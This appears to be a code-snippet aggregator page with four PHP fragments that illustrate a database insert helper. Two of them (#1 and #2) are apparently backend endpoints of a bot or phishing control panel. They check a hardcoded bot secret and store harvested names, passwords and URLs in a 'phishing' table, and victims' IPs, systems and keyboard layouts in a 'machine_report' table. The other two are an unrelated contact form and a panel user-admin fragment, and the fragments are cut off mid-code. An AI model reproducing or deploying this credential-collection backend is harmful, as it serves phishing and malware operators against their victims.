Пример #1
0
<?php

// Definindo encode pra UTF-8
header('Content-type: text/html; charset="utf-8"', true);
require "../helper/class.crud.php";
require "../helper/secure_validation.php";
//change this use key of your bot
$secret_code = "testbot";
//register machine
if ($_POST['secret_code'] == $secret_code) {
    $crud = new crud();
    $name = htmlentities($_POST['name']);
    if (!$name) {
        print "need name";
        exit;
    }
    $date = date('Y-m-d H:i:s');
    $password = htmlentities($_POST['password']);
    $url = htmlentities($_POST['url']);
    $values = array(array('name' => sanitize($name), 'date' => sanitize($date), 'password' => sanitize($password), 'url' => sanitize($url)));
    $crud->dbInsert('phishing', $values);
} else {
    echo "error at secret code";
}
Пример #2
0
<?php

// Definindo encode pra UTF-8
header('Content-type: text/html; charset="utf-8"', true);
require "../helper/class.crud.php";
require "../helper/secure_validation.php";
//change this use key of your bot
$secret_code = "testbot";
//register machine
if ($_POST['secret_code'] == $secret_code) {
    $crud = new crud();
    $name = htmlentities($_POST['name']);
    if (!$name) {
        print "need name";
        exit;
    }
    $date = date('Y-m-d H:i:s');
    $system = htmlentities($_POST['system']);
    $ip = htmlentities($_POST['ip']);
    $keyboard = htmlentities($_POST['keyboard']);
    $values = array(array('name' => sanitize($name), 'date' => sanitize($date), 'ip' => sanitize($ip), 'system' => sanitize($system), 'keyboard' => sanitize($keyboard)));
    $crud->dbInsert('machine_report', $values);
} else {
    echo "error at secret code";
}
Пример #3
0
 if ($nome == '') {
     echo '<div class="alert alert-danger">Você deve informar seu nome.</div>';
 } else {
     if ($email == '') {
         echo '<div class="alert alert-danger">Você deve informar um e-mail válido.</div>';
     } else {
         if ($msg == '') {
             echo '<div class="alert alert-danger">Você deve informar uma Mensagem.</div>';
         } else {
             if (!preg_match("/^[a-z0-9_\\.\\-]+@[a-z0-9_\\.\\-]*[a-z0-9_\\-]+\\.[a-z]{2,4}\$/i", $email)) {
                 echo '<div class="alert alert-danger"> O e-mail digitado não e válido.</div>';
             } else {
                 $dataEmail = date("d-m-Y H:i:s");
                 try {
                     $values = array(array('nome' => $nome, 'email' => $email, 'telefone' => $telefone, 'mensagem' => $msg, 'data' => $dataEmail));
                     $envia_dados = $conecta->dbInsert('contatos', $values);
                     // enviando email de contato
                     $to = '*****@*****.**';
                     // assunto
                     $subject = 'Contato Site FACIDIL';
                     $message = "\n\t\t\t\t\t\t\t\t\t\t\t<html>\n\t\t\t\t\t\t\t\t\t\t\t<head>\n\t\t\t\t\t\t\t\t\t\t\t\t<title>Contato Site FACIDIL</title>\n\t\t\t\t\t\t\t\t\t\t\t\t<style type='text/css'> \n\t\t\t\t\t\t\t\t\t\t\t\t\tp{font:18px Calibri;}\n\t\t\t\t\t\t\t\t\t\t\t\t</style>\n\t\t\t\t\t\t\t\t\t\t\t</head>\n\t\t\t\t\t\t\t\t\t\t\t<body>\n\t\t\t\t\t\t\t\t\t\t\t\t<p>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<b>Nome: </b>" . $nome . "<br/><br/>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<b>E-mail: </b>" . $email . "<br/><br/>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<b>Telefone: </b>" . $telefone . "<br/><br/>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<b>Mensagem: </b>" . $msg . "<br/><br/>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<b>Data do Recebimento:</b>  " . $dataEmail . "<br/><br/>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t</p>\n\t\t\t\t\t\t\t\t\t\t\t</body>\n\t\t\t\t\t\t\t\t\t\t\t</html>\n\t\t\t\t\t\t\t\t\t\t\t";
                     $headers .= 'To: FACIDIL <*****@*****.**>' . "\r\n";
                     $headers = 'MIME-Version: 1.0' . "\r\n";
                     $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
                     // $headers .= 'Cc: janderfrancisco@gmail.com' . "\r\n";
                     $headers .= 'From: Contato Site FACIDIL	<*****@*****.**>' . "\r\n";
                     mail($to, $subject, $message, $headers);
                     echo "<div class='alert alert-success'>Agradeçemos o seu contato! <br/> Em breve lhe responderemos.</div>";
                     unset($nome);
                     unset($email);
                     unset($telefone);
Пример #4
0
        if (!$loginadd) {
            print "need login";
            exit;
        }
        $mailadd = htmlentities($_POST['mailadd']);
        $passadd = htmlentities($_POST['passadd']);
        if (!$passadd) {
            print "need a password";
            exit;
        }
        $owneradd = htmlentities($_POST['owneradd']);
        $secret = $frase . $passadd;
        $gen = new Bcrypt(12);
        $bcrypt_hashadd = $gen->hash($secret);
        $values = array(array('login' => sanitize($loginadd), 'pass' => sanitize($bcrypt_hashadd), 'mail' => sanitize($mailadd), 'owner' => sanitize($owneradd)));
        $crud->dbInsert('userronin', $values);
        $page->titulo = "Data insert";
        $page->conteudo = '<br><br>
                      <p class="message message-success message-closable">Added user ok  !</p><br<br>';
        print $page->display_page();
        break;
    case "RmUser":
        $janela .= '<div class="portlet portlet-closable x4">	
				<div class="portlet-header">
					<h4>Remove user</h4> 
				</div> <!-- .portlet-header -->		
				<div class="portlet-content">
                              ';
        $form = new form();
        $token = NoCSRF::generate('csrf_token');
        $values = array(':hidden' => 'csrf_token:' . $token, 'remover:text' => 'userm:ID to remove');